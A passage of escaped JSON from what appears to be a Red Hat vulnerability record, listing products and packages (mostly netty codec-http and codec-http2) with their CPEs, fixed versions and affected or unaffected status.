\"cryostat/jfr-datasource-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apache_camel_spring_boot:4.18\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quarkus:3.27::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Quarkus 3.27.4\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quarkus:3.33::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Quarkus 3.33.2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_data_grid:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Data Grid 8.6.2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4.25\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.16.0-22.redhat_00057.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-activemq-artemis\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.3.14-11.SP11_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-glassfish-jsf\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:1.5.26-2.Final_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-ironjacamar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-annotations\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-core\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-databind\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-jaxrs-providers\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-modules-base\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-modules-java8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:5.0.31-3.SP2_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jboss-remoting\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:1.10.0-46.Final_redhat_00044.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jboss-server-migration\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:4.1.135-1.Final_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:4.1.135-1.Final_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-netty-transport-native-epoll\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.5.5-30.SP12_redhat_00020.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-picketlink-bindings\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.5.5-24.SP12_redhat_00016.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-picketlink-federation\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.2.40-2.SP3_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-undertow\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:7.4.25-2.GA_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-wildfly\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8.1\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:2.9::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Streams for Apache Kafka 2.9.4\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai:2.25::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI 2.25\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783443816\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhoai/odh-modelmesh-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.28\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1780948325\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/openvsx-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.28\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1780696380\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/pluginregistry-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.28\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1780694994\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/server-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.29::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.29\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782989027\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/multicluster-redirector-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-ekb-dispatcher-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-ekb-receiver-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_clients:2023\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Clients\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:camel_quarkus:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel 4 for Quarkus 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:camel_quarkus:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel 4 for Quarkus 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:service_registry:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 2\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_registry:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 2\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apicurio_registry:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apicurio_registry:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:debezium:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Debezium 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:debezium:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Debezium 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk/keycloak-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk/keycloak-rhel9-operator\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk-openshift-rhel9/rhbk-openshift-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk-rhel9-operator/rhbk-rhel9-operator\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:optaplanner:::el6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of OptaPlanner 8\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:optaplanner:::el6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of OptaPlanner 8\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"bazel6\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"bazel7\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"bazel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-modelmesh-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-spark-operator-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cpu-torch210-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cpu-torch291-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cuda130-torch210-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cuda130-torch291-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-rocm64-torch291-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-trustyai-service-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-trustyai-service-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Process Automation 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Process Automation 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"packageName\": \"candlepin\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", 